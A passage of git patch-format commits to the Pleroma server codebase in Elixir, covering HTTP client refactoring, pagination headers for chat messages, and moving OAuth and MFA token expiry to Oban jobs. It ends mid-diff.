-- cgit v1.2.3 From ab56dd54e787eae82cf00fddc90eab4c5cbac4a9 Mon Sep 17 00:00:00 2001 From: Alexander Strizhakov Date: Thu, 10 Sep 2020 11:23:39 +0300 Subject: use Pleroma.HTTP in emoji packs tasks --- lib/mix/tasks/pleroma/emoji.ex | 12 ++---------- 1 file changed, 2 insertions(+), 10 deletions(-) diff --git a/lib/mix/tasks/pleroma/emoji.ex b/lib/mix/tasks/pleroma/emoji.ex index 8f52ee98d..1750373f9 100644 --- a/lib/mix/tasks/pleroma/emoji.ex +++ b/lib/mix/tasks/pleroma/emoji.ex @@ -183,7 +183,7 @@ def run(["gen-pack" | args]) do IO.puts("Downloading the pack and generating SHA256") - binary_archive = Tesla.get!(client(), src).body + {:ok, %{body: binary_archive}} = Pleroma.HTTP.get(src) archive_sha = :crypto.hash(:sha256, binary_archive) |> Base.encode16() IO.puts("SHA256 is #{archive_sha}") @@ -252,7 +252,7 @@ defp fetch_and_decode!(from) do end defp fetch("http" <> _ = from) do - with {:ok, %{body: body}} <- Tesla.get(client(), from) do + with {:ok, %{body: body}} <- Pleroma.HTTP.get(from) do {:ok, body} end end @@ -271,13 +271,5 @@ defp parse_global_opts(args) do ) end - defp client do - middleware = [ - {Tesla.Middleware.FollowRedirects, [max_redirects: 3]} - ] - - Tesla.client(middleware) - end - defp default_manifest, do: Pleroma.Config.get!([:emoji, :default_manifest]) end -- cgit v1.2.3 From 148bc244359e70c87ec2812c65da83fe87efbc68 Mon Sep 17 00:00:00 2001 From: Ivan Tashkinov Date: Thu, 10 Sep 2020 11:54:10 +0300 Subject: [#2497] Removed Hackney-specific code (no longer needed due to adapter options unification). --- .../web/activity_pub/mrf/media_proxy_warming_policy.ex | 13 +++---------- 1 file changed, 3 insertions(+), 10 deletions(-) diff --git a/lib/pleroma/web/activity_pub/mrf/media_proxy_warming_policy.ex b/lib/pleroma/web/activity_pub/mrf/media_proxy_warming_policy.ex index 6c63fe15c..0fb05d3c4 100644 --- a/lib/pleroma/web/activity_pub/mrf/media_proxy_warming_policy.ex +++ b/lib/pleroma/web/activity_pub/mrf/media_proxy_warming_policy.ex @@ -13,17 +13,10 @@ defmodule Pleroma.Web.ActivityPub.MRF.MediaProxyWarmingPolicy do require Logger @adapter_options [ - pool: :media + pool: :media, + recv_timeout: 10_000 ] - defp adapter_options do - if Application.get_env(:tesla, :adapter) == Tesla.Adapter.Hackney do - Keyword.put(@adapter_options, :recv_timeout, 10_000) - else - @adapter_options - end - end - def perform(:prefetch, url) do # Fetching only proxiable resources if MediaProxy.enabled?() and MediaProxy.url_proxiable?(url) do @@ -32,7 +25,7 @@ def perform(:prefetch, url) do Logger.debug("Prefetching #{inspect(url)} as #{inspect(prefetch_url)}") - HTTP.get(prefetch_url, [], adapter: adapter_options()) + HTTP.get(prefetch_url, [], @adapter_options) end end -- cgit v1.2.3 From 9853c90abba213bdc87dccf5620cb0d9eb19c049 Mon Sep 17 00:00:00 2001 From: Maksim Pechnikov Date: Thu, 10 Sep 2020 12:24:44 +0300 Subject: added paginate links to headers for /chats/:id/messages --- lib/pleroma/chat.ex | 24 +++++++-- .../web/api_spec/operations/chat_operation.ex | 3 +- lib/pleroma/web/controller_helper.ex | 20 +++---- .../web/pleroma_api/controllers/chat_controller.ex | 62 +++++++++------------- .../controllers/chat_controller_test.exs | 50 +++++++++++------ 5 files changed, 90 insertions(+), 69 deletions(-) diff --git a/lib/pleroma/chat.ex b/lib/pleroma/chat.ex index 24a86371e..202fffb8a 100644 --- a/lib/pleroma/chat.ex +++ b/lib/pleroma/chat.ex @@ -6,6 +6,7 @@ defmodule Pleroma.Chat do use Ecto.Schema import Ecto.Changeset + import Ecto.Query alias Pleroma.Repo alias Pleroma.User @@ -16,6 +17,7 @@ defmodule Pleroma.Chat do It is a helper only, to make it easy to display a list of chats with other people, ordered by last bump. The actual messages are retrieved by querying the recipients of the ChatMessages. """ + @type t :: %__MODULE__{} @primary_key {:id, FlakeId.Ecto.CompatType, autogenerate: true} schema "chats" do @@ -39,16 +41,28 @@ def changeset(struct, params) do |> unique_constraint(:user_id, name: :chats_user_id_recipient_index) end + @spec get_by_user_and_id(User.t(), FlakeId.Ecto.CompatType.t()) :: + {:ok, t()} | {:error, :not_found} + def get_by_user_and_id(%User{id: user_id}, id) do + from(c in __MODULE__, + where: c.id == ^id, + where: c.user_id == ^user_id + ) + |> Repo.find_resource() + end + + @spec get_by_id(FlakeId.Ecto.CompatType.t()) :: t() | nil def get_by_id(id) do - __MODULE__ - |> Repo.get(id) + Repo.get(__MODULE__, id) end + @spec get(FlakeId.Ecto.CompatType.t(), String.t()) :: t() | nil def get(user_id, recipient) do - __MODULE__ - |> Repo.get_by(user_id: user_id, recipient: recipient) + Repo.get_by(__MODULE__, user_id: user_id, recipient: recipient) end + @spec get_or_create(FlakeId.Ecto.CompatType.t(), String.t()) :: + {:ok, t()} | {:error, Ecto.Changeset.t()} def get_or_create(user_id, recipient) do %__MODULE__{} |> changeset(%{user_id: user_id, recipient: recipient}) @@ -60,6 +74,8 @@ def get_or_create(user_id, recipient) do ) end + @spec bump_or_create(FlakeId.Ecto.CompatType.t(), String.t()) :: + {:ok, t()} | {:error, Ecto.Changeset.t()} def bump_or_create(user_id, recipient) do %__MODULE__{} |> changeset(%{user_id: user_id, recipient: recipient}) diff --git a/lib/pleroma/web/api_spec/operations/chat_operation.ex b/lib/pleroma/web/api_spec/operations/chat_operation.ex index b1a0d26ab..8cbea9ec4 100644 --- a/lib/pleroma/web/api_spec/operations/chat_operation.ex +++ b/lib/pleroma/web/api_spec/operations/chat_operation.ex @@ -158,7 +158,8 @@ def messages_operation do "The messages in the chat", "application/json", chat_messages_response() - ) + ), + 404 => Operation.response("Not Found", "application/json", ApiError) }, security: [ %{ diff --git a/lib/pleroma/web/controller_helper.ex b/lib/pleroma/web/controller_helper.ex index 6445966e0..69188a882 100644 --- a/lib/pleroma/web/controller_helper.ex +++ b/lib/pleroma/web/controller_helper.ex @@ -48,13 +48,13 @@ defp param_to_integer(val, default) when is_binary(val) do defp param_to_integer(_, default), do: default - def add_link_headers(conn, activities, extra_params \\ %{}) + def add_link_headers(conn, entries, extra_params \\ %{}) - def add_link_headers(%{assigns: %{skip_link_headers: true}} = conn, _activities, _extra_params), + def add_link_headers(%{assigns: %{skip_link_headers: true}} = conn, _entries, _extra_params), do: conn - def add_link_headers(conn, activities, extra_params) do - case get_pagination_fields(conn, activities, extra_params) do + def add_link_headers(conn, entries, extra_params) do + case get_pagination_fields(conn, entries, extra_params) do %{"next" => next_url, "prev" => prev_url} -> put_resp_header(conn, "link", "<#{next_url}>; rel=\"next\", <#{prev_url}>; rel=\"prev\"") @@ -78,19 +78,15 @@ defp build_pagination_fields(conn, min_id, max_id, extra_params) do } end - def get_pagination_fields(conn, activities, extra_params \\ %{}) do - case List.last(activities) do + def get_pagination_fields(conn, entries, extra_params \\ %{}) do + case List.last(entries) do %{pagination_id: max_id} when not is_nil(max_id) -> - %{pagination_id: min_id} = - activities - |> List.first() + %{pagination_id: min_id} = List.first(entries) build_pagination_fields(conn, min_id, max_id, extra_params) %{id: max_id} -> - %{id: min_id} = - activities - |> List.first() + %{id: min_id} = List.first(entries) build_pagination_fields(conn, min_id, max_id, extra_params) diff --git a/lib/pleroma/web/pleroma_api/controllers/chat_controller.ex b/lib/pleroma/web/pleroma_api/controllers/chat_controller.ex index e8a1746d4..7b5f3daf9 100644 --- a/lib/pleroma/web/pleroma_api/controllers/chat_controller.ex +++ b/lib/pleroma/web/pleroma_api/controllers/chat_controller.ex @@ -4,6 +4,8 @@ defmodule Pleroma.Web.PleromaAPI.ChatController do use Pleroma.Web, :controller + import Pleroma.Web.ControllerHelper, only: [add_link_headers: 2] + alias Pleroma.Activity alias Pleroma.Chat alias Pleroma.Chat.MessageReference @@ -47,7 +49,7 @@ def delete_message(%{assigns: %{user: %{id: user_id} = user}} = conn, %{ }) do with %MessageReference{} = cm_ref <- MessageReference.get_by_id(message_id), - ^chat_id <- cm_ref.chat_id |> to_string(), + ^chat_id <- to_string(cm_ref.chat_id), %Chat{user_id: ^user_id} <- Chat.get_by_id(chat_id), {:ok, _} <- remove_or_delete(cm_ref, user) do conn @@ -68,18 +70,13 @@ defp remove_or_delete( end end - defp remove_or_delete(cm_ref, _) do - cm_ref - |> MessageReference.delete() - end + defp remove_or_delete(cm_ref, _), do: MessageReference.delete(cm_ref) def post_chat_message( - %{body_params: params, assigns: %{user: %{id: user_id} = user}} = conn, - %{ - id: id - } + %{body_params: params, assigns: %{user: user}} = conn, + %{id: id} ) do - with %Chat{} = chat <- Repo.get_by(Chat, id: id, user_id: user_id), + with {:ok, chat} <- Chat.get_by_user_and_id(user, id), %User{} = recipient <- User.get_cached_by_ap_id(chat.recipient), {:ok, activity} <- CommonAPI.post_chat_message(user, recipient, params[:content], @@ -93,13 +90,12 @@ def post_chat_message( end end - def mark_message_as_read(%{assigns: %{user: %{id: user_id}}} = conn, %{ - id: chat_id, - message_id: message_id - }) do - with %MessageReference{} = cm_ref <- - MessageReference.get_by_id(message_id), - ^chat_id <- cm_ref.chat_id |> to_string(), + def mark_message_as_read( + %{assigns: %{user: %{id: user_id}}} = conn, + %{id: chat_id, message_id: message_id} + ) do + with %MessageReference{} = cm_ref <- MessageReference.get_by_id(message_id), + ^chat_id <- to_string(cm_ref.chat_id), %Chat{user_id: ^user_id} <- Chat.get_by_id(chat_id), {:ok, cm_ref} <- MessageReference.mark_as_read(cm_ref) do conn @@ -109,36 +105,28 @@ def mark_message_as_read(%{assigns: %{user: %{id: user_id}}} = conn, %{ end def mark_as_read( - %{ - body_params: %{last_read_id: last_read_id}, - assigns: %{user: %{id: user_id}} - } = conn, + %{body_params: %{last_read_id: last_read_id}, assigns: %{user: user}} = conn, %{id: id} ) do - with %Chat{} = chat <- Repo.get_by(Chat, id: id, user_id: user_id), - {_n, _} <- - MessageReference.set_all_seen_for_chat(chat, last_read_id) do + with {:ok, chat} <- Chat.get_by_user_and_id(user, id), + {_n, _} <- MessageReference.set_all_seen_for_chat(chat, last_read_id) do conn |> put_view(ChatView) |> render("show.json", chat: chat) end end - def messages(%{assigns: %{user: %{id: user_id}}} = conn, %{id: id} = params) do - with %Chat{} = chat <- Repo.get_by(Chat, id: id, user_id: user_id) do - cm_refs = + def messages(%{assigns: %{user: user}} = conn, %{id: id} = params) do + with {:ok, chat} <- Chat.get_by_user_and_id(user, id) do + chat_message_refs = chat |> MessageReference.for_chat_query() |> Pagination.fetch_paginated(params) conn + |> add_link_headers(chat_message_refs) |> put_view(MessageReferenceView) - |> render("index.json", chat_message_references: cm_refs) - else - _ -> - conn - |> put_status(:not_found) - |> json(%{error: "not found"}) + |> render("index.json", chat_message_references: chat_message_refs) end end @@ -158,8 +146,8 @@ def index(%{assigns: %{user: %{id: user_id} = user}} = conn, _params) do |> render("index.json", chats: chats) end - def create(%{assigns: %{user: user}} = conn, params) do - with %User{ap_id: recipient} <- User.get_by_id(params[:id]), + def create(%{assigns: %{user: user}} = conn, %{id: id}) do + with %User{ap_id: recipient} <- User.get_cached_by_id(id), {:ok, %Chat{} = chat} <- Chat.get_or_create(user.id, recipient) do conn |> put_view(ChatView) @@ -167,8 +155,8 @@ def create(%{assigns: %{user: user}} = conn, params) do end end - def show(%{assigns: %{user: user}} = conn, params) do - with %Chat{} = chat <- Repo.get_by(Chat, user_id: user.id, id: params[:id]) do + def show(%{assigns: %{user: user}} = conn, %{id: id}) do + with {:ok, chat} <- Chat.get_by_user_and_id(user, id) do conn |> put_view(ChatView) |> render("show.json", chat: chat) diff --git a/test/web/pleroma_api/controllers/chat_controller_test.exs b/test/web/pleroma_api/controllers/chat_controller_test.exs index 7be5fe09c..40f7c72ca 100644 --- a/test/web/pleroma_api/controllers/chat_controller_test.exs +++ b/test/web/pleroma_api/controllers/chat_controller_test.exs @@ -2,7 +2,7 @@ # Copyright © 2017-2020 Pleroma Authors # SPDX-License-Identifier: AGPL-3.0-only defmodule Pleroma.Web.PleromaAPI.ChatControllerTest do - use Pleroma.Web.ConnCase, async: true + use Pleroma.Web.ConnCase alias Pleroma.Chat alias Pleroma.Chat.MessageReference @@ -184,17 +184,39 @@ test "it paginates", %{conn: conn, user: user} do chat = Chat.get(user.id, recipient.ap_id) - result = - conn - |> get("/api/v1/pleroma/chats/#{chat.id}/messages") - |> json_response_and_validate_schema(200) + response = get(conn, "/api/v1/pleroma/chats/#{chat.id}/messages") + result = json_response_and_validate_schema(response, 200) + + [next, prev] = get_resp_header(response, "link") |> hd() |> String.split(", ") + api_endpoint = "/api/v1/pleroma/chats/" + + assert String.match?( + next, + ~r(#{api_endpoint}.*/messages\?id=.*&limit=\d+&max_id=.*; rel=\"next\"$) + ) + + assert String.match?( + prev, + ~r(#{api_endpoint}.*/messages\?id=.*&limit=\d+&min_id=.*; rel=\"prev\"$) + ) assert length(result) == 20 - result = - conn - |> get("/api/v1/pleroma/chats/#{chat.id}/messages?max_id=#{List.last(result)["id"]}") - |> json_response_and_validate_schema(200) + response = + get(conn, "/api/v1/pleroma/chats/#{chat.id}/messages?max_id=#{List.last(result)["id"]}") + + result = json_response_and_validate_schema(response, 200) + [next, prev] = get_resp_header(response, "link") |> hd() |> String.split(", ") + + assert String.match?( + next, + ~r(#{api_endpoint}.*/messages\?id=.*&limit=\d+&max_id=.*; rel=\"next\"$) + ) + + assert String.match?( + prev, + ~r(#{api_endpoint}.*/messages\?id=.*&limit=\d+&max_id=.*&min_id=.*; rel=\"prev\"$) + ) assert length(result) == 10 end @@ -223,12 +245,10 @@ test "it returns the messages for a given chat", %{conn: conn, user: user} do assert length(result) == 3 # Trying to get the chat of a different user - result = - conn - |> assign(:user, other_user) - |> get("/api/v1/pleroma/chats/#{chat.id}/messages") - - assert result |> json_response(404) + conn + |> assign(:user, other_user) + |> get("/api/v1/pleroma/chats/#{chat.id}/messages") + |> json_response_and_validate_schema(404) end end -- cgit v1.2.3 From 3ce658b93098551792a69f2455e6e9339a1722e2 Mon Sep 17 00:00:00 2001 From: Alexander Strizhakov Date: Tue, 25 Aug 2020 19:17:51 +0300 Subject: schedule expired oauth tokens deletion with Oban --- config/config.exs | 2 +- config/description.exs | 1 - lib/pleroma/web/oauth/token.ex | 24 ++++++++++++------- lib/pleroma/web/oauth/token/clean_worker.ex | 2 -- lib/pleroma/web/oauth/token/query.ex | 6 ----- .../web/oauth/token/strategy/refresh_token.ex | 2 +- .../workers/cron/clear_oauth_token_worker.ex | 23 ------------------ lib/pleroma/workers/purge_expired_token.ex | 28 ++++++++++++++++++++++ test/plugs/oauth_plug_test.exs | 2 +- test/web/oauth/token_test.exs | 13 ---------- test/web/twitter_api/password_controller_test.exs | 4 ++-- .../workers/cron/clear_oauth_token_worker_test.exs | 22 ----------------- test/workers/purge_expired_oauth_token_test.exs | 27 +++++++++++++++++++++ 13 files changed, 76 insertions(+), 80 deletions(-) delete mode 100644 lib/pleroma/workers/cron/clear_oauth_token_worker.ex create mode 100644 lib/pleroma/workers/purge_expired_token.ex delete mode 100644 test/workers/cron/clear_oauth_token_worker_test.exs create mode 100644 test/workers/purge_expired_oauth_token_test.exs diff --git a/config/config.exs b/config/config.exs index 1a2b312b5..fa4c96b79 100644 --- a/config/config.exs +++ b/config/config.exs @@ -530,6 +530,7 @@ log: false, queues: [ activity_expiration: 10, + oauth_token_expiration: 1, federator_incoming: 50, federator_outgoing: 50, web_push: 50, @@ -543,7 +544,6 @@ ], plugins: [Oban.Plugins.Pruner], crontab: [ - {"0 0 * * *", Pleroma.Workers.Cron.ClearOauthTokenWorker}, {"* * * * *", Pleroma.Workers.Cron.PurgeExpiredActivitiesWorker}, {"0 0 * * 0", Pleroma.Workers.Cron.DigestEmailsWorker}, {"0 0 * * *", Pleroma.Workers.Cron.NewUsersDigestWorker} diff --git a/config/description.exs b/config/description.exs index eac97ad64..4c4deed30 100644 --- a/config/description.exs +++ b/config/description.exs @@ -2290,7 +2290,6 @@ type: {:list, :tuple}, description: "Settings for cron background jobs", suggestions: [ - {"0 0 * * *", Pleroma.Workers.Cron.ClearOauthTokenWorker}, {"* * * * *", Pleroma.Workers.Cron.PurgeExpiredActivitiesWorker}, {"0 0 * * 0", Pleroma.Workers.Cron.DigestEmailsWorker}, {"0 0 * * *", Pleroma.Workers.Cron.NewUsersDigestWorker} diff --git a/lib/pleroma/web/oauth/token.ex b/lib/pleroma/web/oauth/token.ex index 08bb7326d..4d00fcb1c 100644 --- a/lib/pleroma/web/oauth/token.ex +++ b/lib/pleroma/web/oauth/token.ex @@ -50,7 +50,7 @@ def exchange_token(app, auth) do true <- auth.app_id == app.id do user = if auth.user_id, do: User.get_cached_by_id(auth.user_id), else: %User{} - create_token( + create( app, user, %{scopes: auth.scopes} @@ -83,8 +83,21 @@ defp put_valid_until(changeset, attrs) do |> validate_required([:valid_until]) end - @spec create_token(App.t(), User.t(), map()) :: {:ok, Token} | {:error, Changeset.t()} - def create_token(%App{} = app, %User{} = user, attrs \\ %{}) do + @spec create(App.t(), User.t(), map()) :: {:ok, Token} | {:error, Changeset.t()} + def create(%App{} = app, %User{} = user, attrs \\ %{}) do + with {:ok, token} <- do_create(app, user, attrs) do + if Pleroma.Config.get([:oauth2, :clean_expired_tokens]) do + Pleroma.Workers.PurgeExpiredOAuthToken.enqueue(%{ + token_id: token.id, + valid_until: DateTime.from_naive!(token.valid_until, "Etc/UTC") + }) + end + + {:ok, token} + end + end + + defp do_create(app, user, attrs) do %__MODULE__{user_id: user.id, app_id: app.id} |> cast(%{scopes: attrs[:scopes] || app.scopes}, [:scopes]) |> validate_required([:scopes, :app_id]) @@ -105,11 +118,6 @@ def delete_user_token(%User{id: user_id}, token_id) do |> Repo.delete_all() end - def delete_expired_tokens do - Query.get_expired_tokens() - |> Repo.delete_all() - end - def get_user_tokens(%User{id: user_id}) do Query.get_by_user(user_id) |> Query.preload([:app]) diff --git a/lib/pleroma/web/oauth/token/clean_worker.ex b/lib/pleroma/web/oauth/token/clean_worker.ex index e3aa4eb7e..2f51bdb75 100644 --- a/lib/pleroma/web/oauth/token/clean_worker.ex +++ b/lib/pleroma/web/oauth/token/clean_worker.ex @@ -12,7 +12,6 @@ defmodule Pleroma.Web.OAuth.Token.CleanWorker do @one_day 86_400_000 alias Pleroma.MFA - alias Pleroma.Web.OAuth alias Pleroma.Workers.BackgroundWorker def start_link(_), do: GenServer.start_link(__MODULE__, %{}) @@ -32,7 +31,6 @@ def handle_info(:perform, state) do end def perform(:clean) do - OAuth.Token.delete_expired_tokens() MFA.Token.delete_expired_tokens() end end diff --git a/lib/pleroma/web/oauth/token/query.ex b/lib/pleroma/web/oauth/token/query.ex index 93d6e26ed..fd6d9b112 100644 --- a/lib/pleroma/web/oauth/token/query.ex +++ b/lib/pleroma/web/oauth/token/query.ex @@ -33,12 +33,6 @@ def get_by_id(query \\ Token, id) do from(q in query, where: q.id == ^id) end - @spec get_expired_tokens(query, DateTime.t() | nil) :: query - def get_expired_tokens(query \\ Token, date \\ nil) do - expired_date = date || Timex.now() - from(q in query, where: fragment("?", q.valid_until) < ^expired_date) - end - @spec get_by_user(query, String.t()) :: query def get_by_user(query \\ Token, user_id) do from(q in query, where: q.user_id == ^user_id) diff --git a/lib/pleroma/web/oauth/token/strategy/refresh_token.ex b/lib/pleroma/web/oauth/token/strategy/refresh_token.ex index debc29b0b..625b0fde2 100644 --- a/lib/pleroma/web/oauth/token/strategy/refresh_token.ex +++ b/lib/pleroma/web/oauth/token/strategy/refresh_token.ex @@ -46,7 +46,7 @@ defp revoke_access_token(token) do defp create_access_token({:error, error}, _), do: {:error, error} defp create_access_token({:ok, token}, %{app: app, user: user} = token_params) do - Token.create_token(app, user, add_refresh_token(token_params, token.refresh_token)) + Token.create(app, user, add_refresh_token(token_params, token.refresh_token)) end defp add_refresh_token(params, token) do diff --git a/lib/pleroma/workers/cron/clear_oauth_token_worker.ex b/lib/pleroma/workers/cron/clear_oauth_token_worker.ex deleted file mode 100644 index 276f47efc..000000000 --- a/lib/pleroma/workers/cron/clear_oauth_token_worker.ex +++ /dev/null @@ -1,23 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.Workers.Cron.ClearOauthTokenWorker do - @moduledoc """ - The worker to cleanup expired oAuth tokens. - """ - - use Oban.Worker, queue: "background" - - alias Pleroma.Config - alias Pleroma.Web.OAuth.Token - - @impl Oban.Worker - def perform(_job) do - if Config.get([:oauth2, :clean_expired_tokens], false) do - Token.delete_expired_tokens() - end - - :ok - end -end diff --git a/lib/pleroma/workers/purge_expired_token.ex b/lib/pleroma/workers/purge_expired_token.ex new file mode 100644 index 000000000..6068e43bf --- /dev/null +++ b/lib/pleroma/workers/purge_expired_token.ex @@ -0,0 +1,28 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Workers.PurgeExpiredOAuthToken do + @moduledoc """ + Worker which purges expired OAuth tokens + """ + + use Oban.Worker, queue: :oauth_token_expiration, max_attempts: 1 + + @spec enqueue(%{token_id: integer(), valid_until: DateTime.t()}) :: + {:ok, Oban.Job.t()} | {:error, Ecto.Changeset.t()} + def enqueue(args) do + {scheduled_at, args} = Map.pop(args, :valid_until) + + args + |> __MODULE__.new(scheduled_at: scheduled_at) + |> Oban.insert() + end + + @impl true + def perform(%Oban.Job{args: %{"token_id" => id}}) do + Pleroma.Web.OAuth.Token + |> Pleroma.Repo.get(id) + |> Pleroma.Repo.delete() + end +end diff --git a/test/plugs/oauth_plug_test.exs b/test/plugs/oauth_plug_test.exs index f74c068cd..9d39d3153 100644 --- a/test/plugs/oauth_plug_test.exs +++ b/test/plugs/oauth_plug_test.exs @@ -16,7 +16,7 @@ defmodule Pleroma.Plugs.OAuthPlugTest do setup %{conn: conn} do user = insert(:user) - {:ok, %{token: token}} = Pleroma.Web.OAuth.Token.create_token(insert(:oauth_app), user) + {:ok, %{token: token}} = Pleroma.Web.OAuth.Token.create(insert(:oauth_app), user) %{user: user, token: token, conn: conn} end diff --git a/test/web/oauth/token_test.exs b/test/web/oauth/token_test.exs index 40d71eb59..c88b9cc98 100644 --- a/test/web/oauth/token_test.exs +++ b/test/web/oauth/token_test.exs @@ -69,17 +69,4 @@ test "deletes all tokens of a user" do assert tokens == 2 end - - test "deletes expired tokens" do - insert(:oauth_token, valid_until: Timex.shift(Timex.now(), days: -3)) - insert(:oauth_token, valid_until: Timex.shift(Timex.now(), days: -3)) - t3 = insert(:oauth_token) - t4 = insert(:oauth_token, valid_until: Timex.shift(Timex.now(), minutes: 10)) - {tokens, _} = Token.delete_expired_tokens() - assert tokens == 2 - available_tokens = Pleroma.Repo.all(Token) - - token_ids = available_tokens |> Enum.map(& &1.id) - assert token_ids == [t3.id, t4.id] - end end diff --git a/test/web/twitter_api/password_controller_test.exs b/test/web/twitter_api/password_controller_test.exs index 231a46c67..a5e9e2178 100644 --- a/test/web/twitter_api/password_controller_test.exs +++ b/test/web/twitter_api/password_controller_test.exs @@ -37,7 +37,7 @@ test "it shows password reset form", %{conn: conn} do test "it returns HTTP 200", %{conn: conn} do user = insert(:user) {:ok, token} = PasswordResetToken.create_token(user) - {:ok, _access_token} = Token.create_token(insert(:oauth_app), user, %{}) + {:ok, _access_token} = Token.create(insert(:oauth_app), user, %{}) params = %{ "password" => "test", @@ -62,7 +62,7 @@ test "it sets password_reset_pending to false", %{conn: conn} do user = insert(:user, password_reset_pending: true) {:ok, token} = PasswordResetToken.create_token(user) - {:ok, _access_token} = Token.create_token(insert(:oauth_app), user, %{}) + {:ok, _access_token} = Token.create(insert(:oauth_app), user, %{}) params = %{ "password" => "test", diff --git a/test/workers/cron/clear_oauth_token_worker_test.exs b/test/workers/cron/clear_oauth_token_worker_test.exs deleted file mode 100644 index 67836f34f..000000000 --- a/test/workers/cron/clear_oauth_token_worker_test.exs +++ /dev/null @@ -1,22 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.Workers.Cron.ClearOauthTokenWorkerTest do - use Pleroma.DataCase - - import Pleroma.Factory - alias Pleroma.Workers.Cron.ClearOauthTokenWorker - - setup do: clear_config([:oauth2, :clean_expired_tokens]) - - test "deletes expired tokens" do - insert(:oauth_token, - valid_until: NaiveDateTime.add(NaiveDateTime.utc_now(), -60 * 10) - ) - - Pleroma.Config.put([:oauth2, :clean_expired_tokens], true) - ClearOauthTokenWorker.perform(%Oban.Job{}) - assert Pleroma.Repo.all(Pleroma.Web.OAuth.Token) == [] - end -end diff --git a/test/workers/purge_expired_oauth_token_test.exs b/test/workers/purge_expired_oauth_token_test.exs new file mode 100644 index 000000000..3bd650d89 --- /dev/null +++ b/test/workers/purge_expired_oauth_token_test.exs @@ -0,0 +1,27 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Workers.PurgeExpiredOAuthTokenTest do + use Pleroma.DataCase, async: true + use Oban.Testing, repo: Pleroma.Repo + + import Pleroma.Factory + + setup do: clear_config([:oauth2, :clean_expired_tokens], true) + + test "purges expired token" do + user = insert(:user) + app = insert(:oauth_app) + + {:ok, %{id: id}} = Pleroma.Web.OAuth.Token.create(app, user) + + assert_enqueued( + worker: Pleroma.Workers.PurgeExpiredOAuthToken, + args: %{token_id: id} + ) + + assert {:ok, %{id: ^id}} = + perform_job(Pleroma.Workers.PurgeExpiredOAuthToken, %{token_id: id}) + end +end -- cgit v1.2.3 From 7dd986a563545cb63e8404d9b107f1d29c499940 Mon Sep 17 00:00:00 2001 From: Alexander Strizhakov Date: Sat, 5 Sep 2020 18:35:01 +0300 Subject: expire mfa tokens through Oban --- config/config.exs | 2 +- docs/configuration/cheatsheet.md | 10 +-- lib/pleroma/mfa/token.ex | 71 +++++++++++----------- lib/pleroma/web/oauth/oauth_controller.ex | 4 +- lib/pleroma/web/oauth/token.ex | 5 +- lib/pleroma/web/oauth/token/clean_worker.ex | 36 ----------- .../controllers/remote_follow_controller.ex | 2 +- lib/pleroma/workers/purge_expired_token.ex | 11 ++-- .../twitter_api/remote_follow_controller_test.exs | 4 +- test/workers/purge_expired_oauth_token_test.exs | 27 -------- test/workers/purge_expired_token_test.exs | 51 ++++++++++++++++ 11 files changed, 106 insertions(+), 117 deletions(-) delete mode 100644 lib/pleroma/web/oauth/token/clean_worker.ex delete mode 100644 test/workers/purge_expired_oauth_token_test.exs create mode 100644 test/workers/purge_expired_token_test.exs diff --git a/config/config.exs b/config/config.exs index fa4c96b79..95a6ea9db 100644 --- a/config/config.exs +++ b/config/config.exs @@ -530,7 +530,7 @@ log: false, queues: [ activity_expiration: 10, - oauth_token_expiration: 1, + token_expiration: 5, federator_incoming: 50, federator_outgoing: 50, web_push: 50, diff --git a/docs/configuration/cheatsheet.md b/docs/configuration/cheatsheet.md index ec59896ec..d0bebbd45 100644 --- a/docs/configuration/cheatsheet.md +++ b/docs/configuration/cheatsheet.md @@ -691,9 +691,8 @@ Pleroma has the following queues: Pleroma has these periodic job workers: -`Pleroma.Workers.Cron.ClearOauthTokenWorker` - a job worker to cleanup expired oauth tokens. - -Example: +* `Pleroma.Workers.Cron.DigestEmailsWorker` - digest emails for users with new mentions and follows +* `Pleroma.Workers.Cron.NewUsersDigestWorker` - digest emails for admins with new registrations ```elixir config :pleroma, Oban, @@ -705,7 +704,8 @@ config :pleroma, Oban, federator_outgoing: 50 ], crontab: [ - {"0 0 * * *", Pleroma.Workers.Cron.ClearOauthTokenWorker} + {"0 0 * * 0", Pleroma.Workers.Cron.DigestEmailsWorker}, + {"0 0 * * *", Pleroma.Workers.Cron.NewUsersDigestWorker} ] ``` @@ -972,7 +972,7 @@ Configure OAuth 2 provider capabilities: * `token_expires_in` - The lifetime in seconds of the access token. * `issue_new_refresh_token` - Keeps old refresh token or generate new refresh token when to obtain an access token. -* `clean_expired_tokens` - Enable a background job to clean expired oauth tokens. Defaults to `false`. Interval settings sets in configuration periodic jobs [`Oban.Cron`](#obancron) +* `clean_expired_tokens` - Enable a background job to clean expired oauth tokens. Defaults to `false`. ## Link parsing diff --git a/lib/pleroma/mfa/token.ex b/lib/pleroma/mfa/token.ex index 0b2449971..69b64c0e8 100644 --- a/lib/pleroma/mfa/token.ex +++ b/lib/pleroma/mfa/token.ex @@ -10,10 +10,11 @@ defmodule Pleroma.MFA.Token do alias Pleroma.Repo alias Pleroma.User alias Pleroma.Web.OAuth.Authorization - alias Pleroma.Web.OAuth.Token, as: OAuthToken @expires 300 + @type t() :: %__MODULE__{} + schema "mfa_tokens" do field(:token, :string) field(:valid_until, :naive_datetime_usec) @@ -24,6 +25,7 @@ defmodule Pleroma.MFA.Token do timestamps() end + @spec get_by_token(String.t()) :: {:ok, t()} | {:error, :not_found} def get_by_token(token) do from( t in __MODULE__, @@ -33,33 +35,40 @@ def get_by_token(token) do |> Repo.find_resource() end - def validate(token) do - with {:fetch_token, {:ok, token}} <- {:fetch_token, get_by_token(token)}, - {:expired, false} <- {:expired, is_expired?(token)} do + @spec validate(String.t()) :: {:ok, t()} | {:error, :not_found} | {:error, :expired_token} + def validate(token_str) do + with {:ok, token} <- get_by_token(token_str), + false <- expired?(token) do {:ok, token} - else - {:expired, _} -> {:error, :expired_token} - {:fetch_token, _} -> {:error, :not_found} - error -> {:error, error} end end - def create_token(%User{} = user) do - %__MODULE__{} - |> change - |> assign_user(user) - |> put_token - |> put_valid_until - |> Repo.insert() + defp 